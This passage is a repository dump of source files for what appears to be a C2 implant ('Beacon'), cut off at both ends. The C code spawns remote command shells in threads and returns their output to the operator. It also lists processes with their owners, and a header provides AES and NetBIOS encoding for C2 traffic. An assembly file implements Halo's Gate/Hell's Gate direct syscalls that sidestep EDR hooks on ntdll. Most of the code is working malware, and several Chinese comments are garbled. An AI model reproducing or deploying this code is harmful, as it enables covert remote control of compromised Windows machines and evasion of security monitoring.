(!PeekNamedPipe(hReadPipe, NULL, 0, NULL, &availbytes, NULL)) break;\n        while (lastTime == false && availbytes == 0) {\n            DWORD event = WaitForSingleObject(pi.hProcess, 5000);\n            PeekNamedPipe(hReadPipe, NULL, 0, NULL, &availbytes, NULL);\n        }\n       \n        //if (!availbytes) break;\n        //if (!ReadFile(hReadPipe, buffff, min(sizeof(buffff) - 1, availbytes), &readbytes, NULL) || !readbytes) break;\n        if (lastTime == false || availbytes != 0) {\n            ReadFile(hReadPipe, buffff, sizeof(buffff), NULL, &overlap);\n        }\n        \n        DWORD bytesTransferred;\n        ULONG_PTR completionKey;\n        LPOVERLAPPED pOverlapped;\n        \n        if (overlap.InternalHigh > 0) {\n            if (firstTime) {\n                DataProcess(buffff, overlap.InternalHigh, 0);\n                firstTime = false;\n            }\n            else {\n                if (lastTime == false) {\n                    /*    uint8_t requestIDBytes[5] = \"[+] \";\n                      uint8_t nnnn[4] = \" :\\n\";*/\n                    \n                    uint8_t* metaInfoBytes1[] = { buffff };\n                    size_t metaInfosizes1[] = { overlap.InternalHigh };\n                    size_t metaInfoBytesArrays1 = sizeof(metaInfoBytes1) / sizeof(metaInfoBytes1[0]);\n                    uint8_t* metaInfoconcatenated1 = ConByte(metaInfoBytes1, metaInfosizes1, metaInfoBytesArrays1);\n                    size_t metaInfoSize1 = 0;\n                    //  sizeof ֵܺ\n                    for (size_t i = 0; i < sizeof(metaInfosizes1) / sizeof(metaInfosizes1[0]); ++i) {\n                        metaInfoSize1 += metaInfosizes1[i];\n                    }\n\n                    DataProcess(metaInfoconcatenated1, metaInfoSize1, 0);\n                }else {\n                    uint8_t jia[5] = \"[+] \";\n                    uint8_t nnn[2] = \"\\n\";\n                    uint8_t end[75] = \"-----------------------------------end-----------------------------------\\n\";\n                    uint8_t* metaInfoBytes[] = { jia,end,ParseCommand.shellBuf+4 };\n                    size_t metaInfosizes[] = { 5,75,strlen(ParseCommand.shellBuf)-4};\n                    size_t metaInfoBytesArrays = sizeof(metaInfoBytes) / sizeof(metaInfoBytes[0]);\n                    uint8_t* metaInfoconcatenated = ConByte(metaInfoBytes, metaInfosizes, metaInfoBytesArrays);\n                    size_t metaInfoSize = 0;\n                    //  sizeof ֵܺ\n                    for (size_t i = 0; i < sizeof(metaInfosizes) / sizeof(metaInfosizes[0]); ++i) {\n                        metaInfoSize += metaInfosizes[i];\n                    }\n                    DataProcess(metaInfoconcatenated, metaInfoSize, 0);\n\n\n                 }\n                // buf[readbytes] = 0;\n                 //strncat(outbuf, buf, outbuf_size - strlen(outbuf) - 1);\n            }\n        }\n        \n        Sleep(2000);\n\n    }\n    CloseHandle(pi.hThread);\n    CloseHandle(pi.hProcess);\n    CloseHandle(hWritePipe);\n    CloseHandle(hReadPipe);\n\n}\nunsigned char* Cmdshell(unsigned char* buf, size_t* commandBuflen, size_t* Bufflen)\n{\n    struct ThreadArgs* args = (struct ThreadArgs*)malloc(sizeof(struct ThreadArgs));\n    if (args == NULL) {\n        // ڴʧܵ\n        return NULL;\n    }\n\n    args->buf = buf;\n    args->commandBuflen = commandBuflen;\n    ParseCommandShellparse ParseCommand = ParseCommandShell(buf);\n    HANDLE myThread;\n    if (ParseCommand.shellPath == NULL) {\n        myThread = CreateThread(\n            NULL,                       // Ḭ̆߳ȫ\n            0,                          // Ĭ϶ջС\n            myThreadCmdRun,           // ̺߳\n            args,                       // ݸ̺߳Ĳ\n            0,                          // Ĭϴ־\n            NULL);                      // 洢߳ID\n        if (myThread == NULL) {\n            fprintf(stderr, \"Failed to create thread. Error code: %lu\\n\", GetLastError());\n            return 1;\n        }\n    }\n    else {\n        myThread = CreateThread(\n            NULL,                       // Ḭ̆߳ȫ\n            0,                          // Ĭ϶ջС\n            myThreadCmdshell,           // ̺߳\n            args,                       // ݸ̺߳Ĳ\n            0,                          // Ĭϴ־\n            NULL);                      // 洢߳ID\n        if (myThread == NULL) {\n            fprintf(stderr, \"Failed to create thread. Error code: %lu\\n\", GetLastError());\n            return 1;\n        }\n    }\n   \n   \n    //WaitForSingleObject(myThread, INFINITE);\n\n    // ر̺߳¼\n    CloseHandle(myThread);\n\n\n    unsigned char* result = \"[+] command is executing\";\n    unsigned char* Success = (unsigned char*)malloc(25);\n    memcpy(Success, result, 25);\n    *Bufflen = strlen(Success);\n    return Success;\n\n   \n}\nint get_user_sid(size_t BufferSize, HANDLE TokenHandle, char* Buffer)\n{\n    char Name[512];\n    char ReferencedDomainName[512];\n    DWORD cchReferencedDomainName = 512;\n\n    SID_NAME_USE peUse;\n    memset(Buffer, 0, BufferSize);\n    memset(Name, 0, sizeof(Name));\n    memset(ReferencedDomainName, 0, sizeof(ReferencedDomainName));\n\n    DWORD ReturnLength;\n    TOKEN_USER* TokenInformation;\n    DWORD cchName = 512;\n\n    // ȡ TokenInformation С\n    if (!GetTokenInformation(TokenHandle, TokenUser, NULL, 0, &ReturnLength) && GetLastError() != ERROR_INSUFFICIENT_BUFFER)\n        return 0;\n\n    // ڴ TokenInformation\n    TokenInformation = (TOKEN_USER*)malloc(ReturnLength);\n    if (TokenInformation == NULL)\n        return 0;\n\n    // ȡ TokenInformation\n    if (!GetTokenInformation(TokenHandle, TokenUser, TokenInformation, ReturnLength, &ReturnLength))\n    {\n        free(TokenInformation);\n        return 0;\n    }\n\n    if (!LookupAccountSidA(\n        NULL,\n        TokenInformation->User.Sid,\n        Name,\n        &cchName,\n        ReferencedDomainName,\n        &cchReferencedDomainName,\n        &peUse))\n    {\n        free(TokenInformation);\n        return 0;\n    }\n\n    snprintf(Buffer, BufferSize, \"%s\\\\%s\", ReferencedDomainName, Name);\n    Buffer[BufferSize - 1] = 0;\n\n    free(TokenInformation);\n    return 1;\n}\nBOOL GetProcessUserInfo(HANDLE ProcessHandle, char* usersid)\n{\n\n    HANDLE TokenHandle;\n    BOOL status = OpenProcessToken(ProcessHandle, 8u, &TokenHandle);\n    if (status)\n    {\n        status = get_user_sid(0x800, TokenHandle, usersid);\n        CloseHandle(TokenHandle);\n        return status;\n    }\n    return status;\n}\nBOOL IsProcessX64s(DWORD pid) {\n    BOOL isX64 = FALSE;\n    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);\n    if (hProcess != NULL) {\n        BOOL result = IsWow64Process(hProcess, &isX64);\n        CloseHandle(hProcess);\n        return result && isX64;\n    }\n    return FALSE;\n}\nvoid beacon_ps(char* Taskdata, int Task_size)\n{\n\n    char usersid[2048];\n    memset(usersid, 0, sizeof(usersid));\n\n    datap datap;\n    BeaconDataParse(&datap, Taskdata, Task_size);\n    int unknown = BeaconDataInt(&datap);\n    BeaconFormatAlloc((formatp*)&datap, 0x8000);\n    if (unknown > 0)\n    {\n        BeaconFormatInt((formatp*)&datap, unknown);\n    }\n \n    DWORD pSessionId;\n    DWORD th32ProcessID;\n    PROCESSENTRY32 pe;\n    HANDLE hprocess;\n    HANDLE Toolhelp32Snapshot = CreateToolhelp32Snapshot(2u, 0);\n    if (Toolhelp32Snapshot != (HANDLE)-1)\n    {\n        pe.dwSize = sizeof(PROCESSENTRY32);\n        if (Process32First(Toolhelp32Snapshot, &pe))\n        {\n            do\n            {\n                th32ProcessID = pe.th32ProcessID;\n                const char* arch2 = \"x64\";\n                BOOL isX64 = IsProcessX64s(pe.th32ProcessID);\n                arch2 = !isX64 ? \"x64\" : \"x86\";\n                hprocess = OpenProcess( PROCESS_ALL_ACCESS, 0, th32ProcessID);\n                wchar_t* szExeFile = pe.szExeFile;\n                int bufferSize = WideCharToMultiByte(CP_UTF8, 0, szExeFile, -1, NULL, 0, NULL, NULL);\n                // 㹻ڴ洢תַ\n                char* szExeFileConverted = (char*)malloc(bufferSize);\n                //  wchar_t* ַת char* ַ\n                WideCharToMultiByte(CP_UTF8, 0, szExeFile, -1, szExeFileConverted, bufferSize, NULL, NULL);\n                if (hprocess)\n                {\n                    if (!GetProcessUserInfo(hprocess, usersid))\n                    {\n                        usersid[0] = 0;\n                    }\n                    if (!ProcessIdToSessionId(pe.th32ProcessID, &pSessionId))\n                    {\n                        pSessionId = -1;\n                    }\n\n                    BeaconFormatPrintf(\n                        (formatp*)&datap,\n                        (char*)\"%s\\t%d\\t%d\\t%s\\t%s\\t%d\\n\",\n                        szExeFileConverted,\n                        pe.th32ParentProcessID,\n                        pe.th32ProcessID,\n                        arch2,\n                        usersid,\n                        pSessionId);\n                }\n                else\n                {\n                    if (!ProcessIdToSessionId(pe.th32ProcessID, &pSessionId))\n                    {\n                        pSessionId = 0;\n                    }\n                    BeaconFormatPrintf((formatp*)&datap, (char*)\"%s\\t%d\\t%d\\t%s\\t%s\\t%d\\n\", \n                        szExeFileConverted,\n                        pe.th32ParentProcessID,\n                        pe.th32ProcessID,\n                        arch2,\n                        \"\",\n                        pSessionId);\n                }\n                CloseHandle(hprocess);\n            } while (Process32Next(Toolhelp32Snapshot, &pe));\n            CloseHandle(Toolhelp32Snapshot);\n            int msg_type;\n            if (unknown)\n            {\n                msg_type = 22;\n            }\n            else\n            {\n                msg_type = 17;\n            }\n            int datalength = BeaconFormatlength((formatp*)&datap);\n            char* databuffer = BeaconFormatOriginalPtr((formatp*)&datap);\n            DataProcess(databuffer, datalength, msg_type);\n            BeaconFormatFree((formatp*)&datap);\n        }\n        else\n        {\n            CloseHandle(Toolhelp32Snapshot);\n        }\n    }\n}"
  },
  {
    "path": "Beacon/Util.h",
    "content": "#pragma once\n#include \"MetaData.h\"\n#include <Psapi.h>\n#include <dbghelp.h>\n#pragma warning(disable:4996) \n\ntypedef struct {\n    char* original; /* ԭʼ [ǿͷ] */\n    char* buffer;   /* ָǰλ */\n    int    length;   /* ʣݳ */\n    int    size;     /* ˻ܴС */\n} formatp;\n\ntypedef struct {\n    char* original; /* ԭʼ [ǿͷ] */\n    char* buffer;   /* ָǰλ */\n    int    length;   /* ʣݳ */\n    int    size;     /* ˻ܴС */\n} datap;\nchar getRandomLetter();\nLPVOID RWXaddress();\nvoid DataProcess(unsigned char* buf, size_t lenn, int callback);\nint Duan(DWORD currentProcessId);\nbool IsHighPriv();\nvoid PutUint32BigEndian(uint8_t* bytes, uint32_t value);\nvoid PutUint16BigEndian(uint8_t* bytes, uint16_t value);\nunsigned char* RandomAESKey(unsigned char* aesKey, size_t keyLength);\nint GenerateEvenRandomInt(int min, int max);\nuint8_t* ConByte(uint8_t** arrays, size_t* sizes, size_t numArrays);\nuint8_t* WriteInt(size_t nInt, uint8_t* bBytes);\nchar* base64Encode(unsigned char* data, size_t inputLength);\nunsigned char* NetbiosDecode(unsigned char* data, int data_length, unsigned char key, size_t* NetbiosDecodelen);\nunsigned char* NetbiosEncode(unsigned char* data, size_t data_length, unsigned char key, size_t* encoded_length);\nunsigned char* MaskDecode(unsigned char* data, size_t data_length, unsigned char* key, int key_length);\nunsigned char* MaskEncode(unsigned char* data, size_t data_length, size_t* codelen);\nunsigned char* AesCBCDecrypt(unsigned char* encryptData, unsigned char* key, size_t dataLen, size_t* decryptAES_CBCdatalen);\nunsigned char* AesCBCEncrypt(unsigned char* data, unsigned char* key, size_t dataLen, size_t* encryptedDataLen);\nuint32_t bigEndianUint32(uint8_t b[4]);\nunsigned char* CodepageToUTF8(unsigned char* input, size_t inputLen, size_t* outputLen);\nunsigned char* HMkey( unsigned char* encryptedBytes, size_t encryptedBytesLen);\nunsigned char* intToUnsignedChar(int value);\nunsigned char* str_replace_all(unsigned char* str, unsigned char* find, unsigned char* replace);\nuint16_t Readshort(uint8_t* b);\n"
  },
  {
    "path": "Beacon/bcookesHalosGate.asm",
    "content": "; Author: Bobby Cooke @0xBoku | https://github.com/boku7 | https://0xBoku.com | https://www.linkedin.com/in/bobby-cooke/\n; Credits / References: Pavel Yosifovich (@zodiacon),Reenz0h from @SEKTOR7net, @smelly__vx & @am0nsec ( Creators/Publishers of the Hells Gate technique)\n\n.code \n\ngetntdll PROC\n\txor rdi, rdi            ; RDI = 0x0\n\tmul rdi                 ; RAX&RDX =0x0\n\tmov rbx, gs:[rax+60h]   ; RBX = Address_of_PEB\n\tmov rbx, [rbx+18h]      ; RBX = Address_of_LDR\n\tmov rbx, [rbx+20h]      ; \n\tmov rbx, [rbx]          ; RBX = 1st entry in InitOrderModuleList / ntdll.dll\n\tmov rbx, [rbx+20h]      ; RBX = &ntdll.dll ( Base Address of ntdll.dll)\n\tmov rax, rbx            ; RBX & RAX = &ntdll.dll\n\tret                     ; return to caller\ngetntdll ENDP\n\n; Get ExportTable Address of supplied module DLL\ngetExportTable PROC\n\tmov rbx, rcx            ; RBX = Supplied Module Address\n\tmov r8, rcx             ; R8  = Supplied Module Address\n\tmov ebx, [rbx+3Ch]      ; RBX = Offset NewEXEHeader\n\tadd rbx, r8             ; RBX = &ntdll.dll + Offset NewEXEHeader = &NewEXEHeader\n\txor rcx, rcx            ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add\n\tadd cx, 88ffh\n\tshr rcx, 8h             ; RCX = 0x88ff --> 0x88\n\tmov edx, [rbx+rcx]      ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable\n\tadd rdx, r8             ; RDX = &ntdll.dll + RVA ExportTable = &ExportTable\n\tmov rax, rdx            ; RAX = &module.ExportTable\n\tret                     ; return to caller\ngetExportTable ENDP\n\n; Get &module.ExportTable.AddressTable from &module.ExportTable\ngetExAddressTable PROC\n\tmov r8, rdx             ; R8  = &module.dll\n\tmov rdx, rcx            ; RDX = &module.ExportTable\n\txor r10, r10\n\tmov r10d, [rdx+1Ch]     ; RDI = RVA AddressTable\n\tadd r10, r8             ; R10 = &AddressTable\n\tmov rax, r10            ; RAX = &module.ExportTable.AddressTable\n\tret                     ; return to caller\ngetExAddressTable ENDP\n\n; Get &module.NamePointerTable from &module.ExportTable\ngetExNamePointerTable PROC\n\tmov r8, rdx             ; R8  = &module.dll\n\tmov rdx, rcx            ; RDX = &module.ExportTable\n\txor r11, r11\n\tmov r11d, [rdx+20h]     ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable\n\tadd r11, r8             ; R11 = &NamePointerTable (Memory Address of module Export NamePointerTable)\n\tmov rax, r11            ; RAX = &module.ExportTable.NamePointerTable\n\tret                     ; return to caller\ngetExNamePointerTable ENDP\n\n; Get &OrdinalTable from ntdll.dll ExportTable\ngetExOrdinalTable PROC\n\tmov r8, rdx             ; R8  = &module.dll\n\tmov rdx, rcx            ; RDX = &module.ExportTable\n\txor r12, r12\n\tmov r12d, [rdx+24h]     ; R12 = RVA  OrdinalTable\n\tadd r12, r8             ; R12 = &OrdinalTable\n\tmov rax, r12            ; RAX = &module.ExportTable.OrdinalTable\n\tret                     ; return to caller\ngetExOrdinalTable ENDP\n\n; Get the address of the API from the module ExportTable\n; IN: &Module.ExportTable.NamePointerTable + &Module\ngetApiAddr PROC\n\tmov r10, r9             ; R10 = &module.ExportTable.AddressTable\n\tmov r11, [rsp+28h]      ; R11 = &module.ExportTable.NamePointerTable\n\tmov r12, [rsp+30h]      ; R12 = &module.ExportTable.OrdinalTable\n\txor rax, rax            ; Setup Counter for resolving the API Address after finding the name string\n\tpush rcx                ; push the string length counter to stack\n\tjmp short getApiAddrLoop\ngetApiAddr ENDP\n\ngetApiAddrLoop PROC\n\tmov rcx, [rsp]          ; reset the string length counter from the stack\n\txor rdi, rdi            ; Clear RDI for setting up string name retrieval\n\tmov edi, [r11+rax*4]    ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]\n\tadd rdi, r8             ; RDI = &NameString    = RVA NameString + &module.dll\n\tmov rsi, rdx            ; RSI = Address of API Name String to match on the Stack  (reset to start of string)\n\trepe cmpsb              ; Compare strings at RDI & RSI\n\tje getApiAddrFin        ; If match then we found the API string. Now we need to find the Address of the API\n\tinc rax\n\tjmp short getApiAddrLoop\ngetApiAddrLoop ENDP\n\n; Find the address of GetProcAddress by using the last value of the Counter\ngetApiAddrFin PROC\n\tpop rcx                 ; remove string length counter from top of stack\n\tmov ax, [r12+rax*2]     ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of module.<API>\n\tmov eax, [r10+rax*4]    ; RAX = RVA API = [&AddressTable + API OrdinalNumber]\n\tadd rax, r8             ; RAX = module.<API> = RVA module.<API> + module.dll BaseAddress\n\tret                     ; return to API caller\ngetApiAddrFin ENDP\n\n; Find the syscall number for the NTDLL API with provided API address\n; RCX = NTDLL.<API> Address\nfindSyscallNumber PROC\n\txor rsi, rsi\n\txor rdi, rdi \n\tmov rsi, 00B8D18B4Ch   ; bytes at start of NTDLL stub to setup syscall in RAX\n\tmov edi, [rcx]         ; RDI = first 4 bytes of NTDLL API syscall stub (mov r10,rcx;mov eax,<syscall#>)\n\tcmp rsi, rdi\n\tjne error              ; if the bytes dont match then its prob hooked. Exit gracefully\n\txor rax,rax            ; clear RAX as it will hold the syscall\n\tmov ax, [rcx+4]        ; The systemcall number\n\tret                    ; return to caller\nfindSyscallNumber ENDP\n\n; RCX = &NTDLL.<API> | RDX = 32bytes * Up Increment \nhalosGateUp PROC\n\txor rsi, rsi\n\txor rdi, rdi \n\tmov rsi, 00B8D18B4Ch   ; bytes at start of NTDLL stub to setup syscall in RAX\n\txor rax, rax\n\tmov al, 20h            ; 32 * Increment = Syscall Up\n\tmul dx                 ; RAX = RAX * RDX = 32 * Syscall Up\n\tadd rcx, rax           ; RCX = NTDLL.API +- Syscall Stub\n\tmov edi, [rcx]         ; RDI = first 4 bytes of NTDLL API syscall stub, incremented Up by HalosGate (mov r10, rcx; mov eax, <syscall#>)\n\tcmp rsi, rdi\n\tjne error              ; if the bytes dont match then its prob hooked. Exit gracefully\n\txor rax,rax            ; clear RAX as it will hold the syscall\n\tmov ax, [rcx+4]        ; The systemcall number for the API close to the target\n\tret                    ; return to caller\nhalosGateUp ENDP\n\n; RCX = &NTDLL.<API> | RDX = 32bytes * Down Increment \nhalosGateDown PROC\n\txor rsi, rsi\n\txor rdi, rdi \n\tmov rsi, 00B8D18B4Ch   ; bytes at start of NTDLL stub to setup syscall in RAX\n\txor rax, rax\n\tmov al, 20h            ; 32 * Increment = Syscall Down\n\tmul dx                 ; RAX = RAX * RDX = 32 * Syscall Down\n\tsub rcx, rax           ; RCX = NTDLL.API - Syscall Stub\n\tmov edi, [rcx]         ; RDI = first 4 bytes of NTDLL API syscall stub, incremented Down by HalosGate (mov r10, rcx; mov eax, <syscall#>)\n\tcmp rsi, rdi\n\tjne error              ; if the bytes dont match then its prob hooked. Exit gracefully\n\txor rax,rax            ; clear RAX as it will hold the syscall\n\tmov ax, [rcx+4]        ; The systemcall number for the API close to the target\n\tret                    ; return to caller\nhalosGateDown ENDP\n\nerror PROC\n\txor rax, rax ; return 0 for error\n\tret          ; return to caller\nerror ENDP\n\nHellsGate PROC\n\txor r11, r11\n\tmov r11d, ecx\n\tret\nHellsGate ENDP\n\nHellDescent PROC\n\txor rax, rax\n\tmov r10, rcx\n\tmov eax, r11d\n\tsyscall\n\tret\nHellDescent ENDP\n\ncompExplorer PROC\n\txor rsi, rsi\n\tcmp rsi, rcx\n\tje error                   ; This is a null entry, skip this one\n\tmov rsi, 6c007000780065h   ; unicode \"expl\"\n\tmov rdx, [rcx]             ; move the first 4 characters of the string into RCX register\n\tcmp rsi, rdx\n\tjne error                  ; if the bytes dont its match not \"expl\", try the next one\n\tmov rsi, 7200650072006fh   ;  6f 00 72 00 65 00 72 00  o.r.e.r.\n\tmov rdx, [rcx+8h]          ; move the next 4 characters of the string into RCX register \"orer\"\n\tcmp rsi, rdx\n\tjne error                  ; if the bytes dont match its not \"explorer\", try the next one\n\tmov rsi, 6500780065002eh   ; 2e 00 65 00 78 00 65 00  ..e.x.e.\n\tmov rdx, [rcx+10h]         ; move the next 4 characters of the string into RCX register \".exe\"\n\tcmp rsi, rdx\n\tjne error                  ; if the bytes dont match its not \"explorer.exe\", try the next one\n\tmov rax, 1h                ; found \"explorer.exe\" return true\n\tret\ncompExplorer ENDP\n\nend\n"
  },
  {
    "path": "Beacon/ntdef.h",
    "content": "#pragma once\n#include <winnt.h>\n#include \"GuangMing.h\"\n\n// most of this header code took from --> https://github.com/hfiref0x/NtCall64/blob/master/Source/NtCall64/ntos.h\n// credits to @hfiref0x\n\n#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004\n#define STATUS_INSUFFICIENT_RESOURCES 0xC0000009A\n#define STATUS_NOT_FOUND 0xC0000225\n#define SystemHandleInformation 16\n\n#ifndef RtlOffsetToPointer\n#define RtlOffsetToPointer(Base, Offset)  ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset))  ))\n#endif\n\n\n#ifndef ALIGN_UP_TYPE\n#define ALIGN_UP_TYPE(Address, Align) (((ULONG_PTR)(Address) + (Align) - 1) & ~((Align) - 1))\n#endif\n\n#ifndef ALIGN_UP\n#define ALIGN_UP(Address, Type) ALIGN_UP_TYPE(Address, sizeof(Type))\n#endif\n\n#ifndef RTL_CONSTANT_STRING\nchar _RTL_CONSTANT_STRING_type_check(const void* s);\n#define _RTL_CONSTANT_STRING_remove_const_macro(s) (s)\n#define RTL_CONSTANT_STRING(s) \\\n{ \\\n    sizeof( s ) - sizeof( (s)[0] ), \\\n    sizeof( s ) / sizeof(_RTL_CONSTANT_STRING_type_check(s)), \\\n    _RTL_CONSTANT_STRING_remove_const_macro(s) \\\n}\n#endif\n\n#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)\n#define OBJECT_TYPES_FIRST_ENTRY(ObjectTypes) (POBJECT_TYPE_INFORMATION)\\\n    RtlOffsetToPointer(ObjectTypes, ALIGN_UP(sizeof(OBJECT_TYPES_INFORMATION), ULONG_PTR))\n\n#define OBJECT_TYPES_NEXT_ENTRY(ObjectType) (POBJECT_TYPE_INFORMATION)\\\n    RtlOffsetToPointer(ObjectType, sizeof(OBJECT_TYPE_INFORMATION) + \\\n    ALIGN_UP(ObjectType->TypeName.MaximumLength, ULONG_PTR))\n\n//typedef struct _CLIENT_ID {\n//\tHANDLE UniqueProcess;\n//\tHANDLE UniqueThread;\n//} CLIENT_ID;\n\ntypedef struct _GDI_TEB_BATCH\n{\n\tULONG Offset;\n\tHANDLE HDC;\n\tULONG Buffer[310];\n} GDI_TEB_BATCH;\n\n//typedef struct _UNICODE_STRING {\n//\tUSHORT Length;\n//\tUSHORT MaximumLength;\n//\tPWSTR  Buffer;\n//} UNICODE_STRING, * PUNICODE_STRING;\n\ntypedef struct _TEB\n{\n\tNT_TIB NtTib;\n\tPVOID EnvironmentPointer;\n\tCLIENT_ID ClientId;\n\tPVOID ActiveRpcHandle;\n\tPVOID ThreadLocalStoragePointer;\n\tPVOID ProcessEnvironmentBlock;\n\tULONG LastErrorValue;\n\tULONG CountOfOwnedCriticalSections;\n\tPVOID CsrClientThread;\n\tPVOID Win32ThreadInfo;\n\tULONG User32Reserved[26];\n\tULONG UserReserved[5];\n\tPVOID WOW32Reserved;\n\tLCID CurrentLocale;\n\tULONG FpSoftwareStatusRegister;\n\tPVOID SystemReserved1[54];\n\tLONG ExceptionCode;\n\tUCHAR Padding0[4];\n\tPVOID ActivationContextStackPointer;\n\tUCHAR SpareBytes[24];\n\tULONG TxFsContext;\n\tGDI_TEB_BATCH GdiTebBatch;\n\tCLIENT_ID RealClientId;\n\tPVOID GdiCachedProcessHandle;\n\tULONG GdiClientPID;\n\tULONG GdiClientTID;\n\tPVOID GdiThreadLocalInfo;\n\tSIZE_T Win32ClientInfo[62];\n\tPVOID glDispatchTable[233];\n\tSIZE_T glReserved1[29];\n\tPVOID glReserved2;\n\tPVOID glSectionInfo;\n\tPVOID glSection;\n\tPVOID glTable;\n\tPVOID glCurrentRC;\n\tPVOID glContext;\n\tULONG LastStatusValue;\n\tUCHAR Padding2[4];\n\tUNICODE_STRING StaticUnicodeString;\n\tWCHAR StaticUnicodeBuffer[261];\n\tUCHAR Padding3[6];\n\tPVOID DeallocationStack;\n\tPVOID TlsSlots[64];\n\tLIST_ENTRY TlsLinks;\n\tPVOID Vdm;\n\tPVOID ReservedForNtRpc;\n\tPVOID DbgSsReserved[2];\n\tULONG HardErrorMode;\n\tUCHAR Padding4[4];\n\tPVOID Instrumentation[11];\n\tGUID ActivityId;\n\tPVOID SubProcessTag;\n\tPVOID EtwLocalData;\n\tPVOID EtwTraceData;\n\tPVOID WinSockData;\n\tULONG GdiBatchCount;\n\tunion\n\t{\n\t\tPROCESSOR_NUMBER CurrentIdealProcessor;\n\t\tULONG32 IdealProcessorValue;\n\t\tstruct\n\t\t{\n\t\t\tUCHAR ReservedPad0;\n\t\t\tUCHAR ReservedPad1;\n\t\t\tUCHAR ReservedPad2;\n\t\t\tUCHAR IdealProcessor;\n\t\t};\n\t};\n\tULONG GuaranteedStackBytes;\n\tUCHAR Padding5[4];\n\tPVOID ReservedForPerf;\n\tPVOID ReservedForOle;\n\tULONG WaitingOnLoaderLock;\n\tUCHAR Padding6[4];\n\tPVOID SavedPriorityState;\n\tULONG_PTR SoftPatchPtr1;\n\tULONG_PTR ThreadPoolData;\n\tPVOID* TlsExpansionSlots;\n\tPVOID DeallocationBStore;\n\tPVOID BStoreLimit;\n\tULONG ImpersonationLocale;\n\tULONG IsImpersonating;\n\tPVOID NlsCache;\n\tPVOID pShimData;\n\tULONG HeapVirtualAffinity;\n\tUCHAR Padding7[4];\n\tHANDLE CurrentTransactionHandle;\n\tPVOID ActiveFrame;\n\tPVOID FlsData;\n\tPVOID PreferredLanguages;\n\tPVOID UserPrefLanguages;\n\tPVOID MergedPrefLanguages;\n\tULONG MuiImpersonation;\n\tunion\n\t{\n\t\tUSHORT CrossTebFlags;\n\t\tstruct\n\t\t{\n\t\t\tunsigned __int16 SpareCrossTebBits : 16;\n\t\t};\n\t};\n\tunion\n\t{\n\t\tUSHORT SameTebFlags;\n\t\tstruct\n\t\t{\n\t\t\tunsigned __int16 DbgSafeThunkCall : 1;\n\t\t\tunsigned __int16 DbgInDebugPrint : 1;\n\t\t\tunsigned __int16 DbgHasFiberData : 1;\n\t\t\tunsigned __int16 DbgSkipThreadAttach : 1;\n\t\t\tunsigned __int16 DbgWerInShipAssertCode : 1;\n\t\t\tunsigned __int16 DbgIssuedInitialBp : 1;\n\t\t\tunsigned __int16 DbgClonedThread : 1;\n\t\t\tunsigned __int16 SpareSameTebBits : 9;\n\t\t};\n\t};\n\tPVOID TxnScopeEnterCallback;\n\tPVOID TxnScopeExitCallback;\n\tPVOID TxnScopeContext;\n\tULONG LockCount;\n\tULONG SpareUlong0;\n\tPVOID ResourceRetValue;\n} TEB, * PTEB;\n\ntypedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO\n{\n\tUSHORT UniqueProcessId;\n\tUSHORT CreatorBackTraceIndex;\n\tUCHAR ObjectTypeIndex;\n\tUCHAR HandleAttributes;\n\tUSHORT HandleValue;\n\tPVOID Object;\n\tULONG GrantedAccess;\n} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;\n\ntypedef struct _SYSTEM_HANDLE_INFORMATION\n{\n\tULONG HandleCount;\n\tSYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];\n} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;\n\ntypedef struct _OBJECT_TYPES_INFORMATION {\n\tULONG NumberOfTypes;\n} OBJECT_TYPES_INFORMATION, * POBJECT_TYPES_INFORMATION;\n\ntypedef enum _OBJECT_INFORMATION_CLASS {\n\tObjectBasicInformation,\n\tObjectNameInformation,\n\tObjectTypeInformation,\n\tObjectTypesInformation,\n\tObjectHandleFlagInformation,\n\tObjectSessionInformation,\n\tObjectSessionObjectInformation,\n\tMaxObjectInfoClass\n} OBJECT_INFORMATION_CLASS;\n\ntypedef struct _OBJECT_TYPE_INFORMATION {\n\tUNICODE_STRING TypeName;\n\tULONG TotalNumberOfObjects;\n\tULONG TotalNumberOfHandles;\n\tULONG TotalPagedPoolUsage;\n\tULONG TotalNonPagedPoolUsage;\n\tULONG TotalNamePoolUsage;\n\tULONG TotalHandleTableUsage;\n\tULONG HighWaterNumberOfObjects;\n\tULONG HighWaterNumberOfHandles;\n\tULONG HighWaterPagedPoolUsage;\n\tULONG HighWaterNonPagedPoolUsage;\n\tULONG HighWaterNamePoolUsage;\n\tULONG HighWaterHandleTableUsage;\n\tULONG InvalidAttributes;\n\tGENERIC_MAPPING GenericMapping;\n\tULONG ValidAccessMask;\n\tBOOLEAN SecurityRequired;\n\tBOOLEAN MaintainHandleCount;\n\tULONG PoolType;\n\tULONG DefaultPagedPoolCharge;\n\tULONG DefaultNonPagedPoolCharge;\n} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;\n\ntypedef struct _OBJECT_TYPE_INFORMATION_V2 {\n\tUNICODE_STRING TypeName;\n\tULONG TotalNumberOfObjects;\n\tULONG TotalNumberOfHandles;\n\tULONG TotalPagedPoolUsage;\n\tULONG TotalNonPagedPoolUsage;\n\tULONG TotalNamePoolUsage;\n\tULONG TotalHandleTableUsage;\n\tULONG HighWaterNumberOfObjects;\n\tULONG HighWaterNumberOfHandles;\n\tULONG HighWaterPagedPoolUsage;\n\tULONG HighWaterNonPagedPoolUsage;\n\tULONG HighWaterNamePoolUsage;\n\tULONG HighWaterHandleTableUsage;\n\tULONG InvalidAttributes;\n\tGENERIC_MAPPING GenericMapping;\n\tULONG ValidAccessMask;\n\tBOOLEAN SecurityRequired;\n\tBOOLEAN MaintainHandleCount;\n\tUCHAR TypeIndex;\n\tCHAR ReservedByte;\n\tULONG PoolType;\n\tULONG DefaultPagedPoolCharge;\n\tULONG DefaultNonPagedPoolCharge;\n} OBJECT_TYPE_INFORMATION_V2, * 